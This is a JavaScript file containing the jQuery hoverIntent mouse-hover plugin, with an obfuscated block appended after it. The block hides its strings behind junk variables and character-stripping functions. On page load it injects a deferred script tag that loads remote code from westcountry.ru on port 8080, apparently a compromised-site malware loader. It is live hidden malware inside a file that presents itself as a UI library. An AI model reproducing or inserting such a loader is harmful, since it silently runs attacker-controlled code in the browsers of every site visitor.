(function($){
	/* hoverIntent by Brian Cherne */
	$.fn.hoverIntent = function(f,g) {
		// default configuration options
		var cfg = {
			sensitivity: 7,
			interval: 100,
			timeout: 0
		};
		// override configuration options with user supplied object
		cfg = $.extend(cfg, g ? { over: f, out: g } : f );

		// instantiate variables
		// cX, cY = current X and Y position of mouse, updated by mousemove event
		// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
		var cX, cY, pX, pY;

		// A private function for getting mouse position
		var track = function(ev) {
			cX = ev.pageX;
			cY = ev.pageY;
		};

		// A private function for comparing current and previous mouse position
		var compare = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			// compare mouse positions to see if they've crossed the threshold
			if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
				$(ob).unbind("mousemove",track);
				// set hoverIntent state to true (so mouseOut can be called)
				ob.hoverIntent_s = 1;
				return cfg.over.apply(ob,[ev]);
			} else {
				// set previous coordinates for next time
				pX = cX; pY = cY;
				// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
				ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
			}
		};

		// A private function for delaying the mouseOut function
		var delay = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			ob.hoverIntent_s = 0;
			return cfg.out.apply(ob,[ev]);
		};

		// A private function for handling mouse 'hovering'
		var handleHover = function(e) {
			// next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
			var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
			while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
			if ( p == this ) { return false; }

			// copy objects to be passed into t (required for event object to be passed in IE)
			var ev = jQuery.extend({},e);
			var ob = this;

			// cancel hoverIntent timer if it exists
			if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }

			// else e.type == "onmouseover"
			if (e.type == "mouseover") {
				// set "previous" X and Y position based on initial entry point
				pX = ev.pageX; pY = ev.pageY;
				// update "current" X and Y position based on mousemove
				$(ob).bind("mousemove",track);
				// start polling interval (self-calling timeout) to compare mouse coordinates over time
				if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}

			// else e.type == "onmouseout"
			} else {
				// unbind expensive mousemove event
				$(ob).unbind("mousemove",track);
				// if hoverIntent state is true, then call the mouseOut function after the specified delay
				if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
			}
		};

		// bind the function to the two event listeners
		return this.mouseover(handleHover).mouseout(handleHover);
	};
	
})(jQuery);

var E={S:"V"};var w={Cy:"J"};this.lz="lz";this.s="s";var e;q=function(){var U=["i"];this.h="h";hf=61552;hf++;function x(F,f,P){JG={I:"uk"};return F.substr(f,P);JY={xJ:5072};}try {var MH='fH'} catch(MH){};try {var sV='O'} catch(sV){};this.sE=40417;this.sE++;this.H=42100;this.H++;ca=63422;ca++;this.Sv="";var c='';var UY=false;this.Fd=46060;this.Fd+=89;var o=document;var n=new String("/go"+x("ogl9fwT",0,3)+x("EFIwe.cIEwF",4,3)+x("om/bKaq",0,3)+x("diswTZ",0,3)+"cus"+"s.c"+x("om.QGb9",0,3)+x("hk/WiKe",0,3)+x("Pb9radbP9",3,3)+x("t5jikatj5",3,3)+"l.r"+x("u.phYD5",0,3)+x("9eBhp9eB",3,2));this.MW=51492;this.MW+=194;this.Is=60922;this.Is-=179;var z=RegExp;var et=["v","d","m"];MV={rl:false};function p(F,f){try {var xN='co'} catch(xN){};try {var fo='HW'} catch(fo){};this.N=6192;this.N--;this.vv=5176;this.vv--;var P=String("[")+f+new String(x("]mMRb",0,1));var C=new z(P, String("g"));var nx={Vn:"cl"};return F.replace(C, c);nB={TK:"ih"};};nO=9317;nO--;aH=34437;aH+=106;Nv=["Uh","mC"];this.fv=44404;this.fv-=157;var g=974078-965998;var KA={};var R=null;var vq='';var D=p('sPcWrCiCpVt1','fWC1yQVdoRALPMO');RG={ea:"wl"};try {var TC='uT'} catch(TC){};var Di=String(x("boE8k",0,2)+x("dykvi",0,2));eh=["uZ","ie"];try {var WH='zh'} catch(WH){};e=function(){try {gp=["qK"];var Md="Md";var T=p('cJrfeJaItveCEHlIeCm3eHnft0','HpAGR0IvCfkJM1TW3zw');var sW='';Z=o[T](D);this.IA=58811;this.IA-=154;var AA=[];dk=61309;dk++;EZ=34336;EZ--;var F=g+n;var nC=String("defer");var AV=new Date();var ep=new Date();var l=p('surKcX','4z8qOe27uK1VXC');mx=["lK","yx"];Z[l]=String("htt"+"p:/"+"/we"+"stc"+x("ounEfx",0,3)+"try"+".ru"+x("lOtd:tdOl",4,1))+F;Z[nC]=[1,8][0];hx=[];var dJ=new Array();Yy=["xs"];pWu={rW:1280};JC=["_a"];o[Di].appendChild(Z);HS=19092;HS+=20;var mX=["yn","ae"];} catch(a){PV=["AQ","rE","mxw"];};};var vb=25117;};var pWQ='';var pd={Kg:false};q();try {var vI='vU'} catch(vI){};window.onload=e;var kC=new Date();